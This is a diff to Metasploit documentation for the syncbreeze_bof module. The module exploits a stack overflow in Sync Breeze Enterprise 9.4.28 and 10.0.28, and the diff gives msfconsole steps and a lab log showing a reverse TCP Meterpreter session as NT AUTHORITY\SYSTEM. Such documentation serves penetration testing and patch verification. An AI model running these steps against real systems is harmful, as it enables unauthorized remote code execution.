Updated Module Documentation

Author: jakxx

documentation/modules/exploit/windows/http/syncbreeze_bof.md

@@ -1,6 +1,6 @@
 ## Vulnerable Application
 
-[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Sync Breeze Enterprise](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe).
+[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
 
 ## Verification Steps
   1. Install a vulnerable Sync Breeze Enterprise
@@ -10,13 +10,14 @@
   5. Check `Enable Web Server On Port 80` to start the web interface
   6. Start `msfconsole`
   7. Do `use exploit/windows/http/syncbreeze_bof`
-  8. Do `set RHOST ip`
-  9. Do `check`
-  10. Verify the target is vulnerable
-  11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
-  12. Do `set LHOST ip`
-  13. Do `exploit`
-  14. Verify the Meterpreter session is opened
+  8. Select appropriate target via `set target 0` or `set target 1`
+  9. Do `set RHOST ip`
+  10. Do `check`
+  11. Verify the target is vulnerable
+  12. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
+  13. Do `set LHOST ip`
+  14. Do `exploit`
+  15. Verify the Meterpreter session is opened
 
 ## Scenarios
 
@@ -72,3 +73,34 @@ Logged On Users : 3
 Meterpreter     : x86/windows
 meterpreter >
 ```
+
+###Sync Breeze Enterprise v10.0.28 on Windows 7 SP1
+
+```
+msf > use exploit/windows/http/syncbreeze_bof 
+msf exploit(syncbreeze_bof) > set rhost 192.168.10.61
+rhost => 192.168.10.61
+msf exploit(syncbreeze_bof) > set target 1
+target => 1
+msf exploit(syncbreeze_bof) > exploit
+
+[*] Started reverse TCP handler on 192.168.10.60:4444 
+[*] Sending request...
+[*] Sending stage (171583 bytes) to 192.168.10.61
+[*] Meterpreter session 1 opened (192.168.10.60:4444 -> 192.168.10.61:4129) at 2017-10-09 13:22:15 -0400
+[+] negotiating tlv encryption
+[+] negotiated tlv encryption
+[+] negotiated tlv encryption
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer        : MUSHROOMKINGDOM
+OS              : Windows 7 (Build 7600).
+Architecture    : x86
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 2
+Meterpreter     : x86/windows
+meterpreter > 
+```